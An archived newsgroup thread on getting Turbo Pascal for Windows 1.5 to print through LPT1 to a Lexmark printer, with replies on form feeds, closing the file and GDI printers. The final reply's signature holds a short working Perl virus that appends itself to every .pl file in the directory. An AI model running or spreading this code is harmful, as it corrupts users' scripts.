Board index » delphi » TPW 1.5 using LPT1 to print with LEXMARK PRINTER

TPW 1.5 using LPT1 to print with LEXMARK PRINTER

printer :  text

begin
  assign(PRINTER,'lpt1');
  rewrite(PRINTER);

writeln(printer,'xyz');

this does not work

any help or input?

thanks

dmh...@aol.com

 

Re:TPW 1.5 using LPT1 to print with LEXMARK PRINTER


Quote
"Dmhusa" <dmh...@aol.com> wrote in message

news:20010407172256.05196.00001194@ng-bd1.aol.com...

Quote
> printer :  text

> begin
>   assign(PRINTER,'lpt1');
>   rewrite(PRINTER);
> writeln(printer,'xyz');

> this does not work
> any help or input?

I haven't used TPW at all, but one thing you quite likely
need to do is add a statement saying
  write(printer, #12);
to force a form feed - often this is the only way to get
anything actually printed. And don't forget to close the
file when you've finished writing to it!

--
The Scarlet Manuka

Re:TPW 1.5 using LPT1 to print with LEXMARK PRINTER


Did you put Close(printer); at the end of the program?

"Dmhusa" <dmh...@aol.com> schreef in bericht
news:20010407172256.05196.00001194@ng-bd1.aol.com...

Quote
> printer :  text

> begin
>   assign(PRINTER,'lpt1');
>   rewrite(PRINTER);

> writeln(printer,'xyz');

> this does not work

> any help or input?

> thanks

> dmh...@aol.com

Re:TPW 1.5 using LPT1 to print with LEXMARK PRINTER


Evert Pot schreef:

Quote

> Did you put Close(printer); at the end of the program?

> "Dmhusa" <dmh...@aol.com> schreef in bericht
> news:20010407172256.05196.00001194@ng-bd1.aol.com...
> > printer :  text

> > begin
> >   assign(PRINTER,'lpt1');
> >   rewrite(PRINTER);

> > writeln(printer,'xyz');

> > this does not work

> > any help or input?

> > thanks

> > dmh...@aol.com

I think it should be: 'uses Printer;'
'var Printer: text;' is already defined in Printer.tpu

Huub.

Re:TPW 1.5 using LPT1 to print with LEXMARK PRINTER


Quote
Evert Pot <weirdev...@hotmail.com> wrote:
> Did you put Close(printer); at the end of the program?

> "Dmhusa" <dmh...@aol.com> schreef in bericht
> news:20010407172256.05196.00001194@ng-bd1.aol.com...
> > printer :  text

> > begin
> >   assign(PRINTER,'lpt1');
> >   rewrite(PRINTER);

> > writeln(printer,'xyz');

> > this does not work

> > any help or input?

Which Lexmark printer do you use? A cheap inkjet like the Z11? Then
you are lost. You have a GDI printer that does not even understand
ASCII. You could try printing to a file and copying the file to prn in
a DOS box (this is caught by the driver and read as PCL).

Try:

assign (PRINTER, 'tempfile');
rewrite (PRINTER);
{ ... }
close (PRINTER);

and then execute 'COMMAND /C COPY /B tempfile LPT1:' using WinExec or
WinExecWait.

--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

Other Threads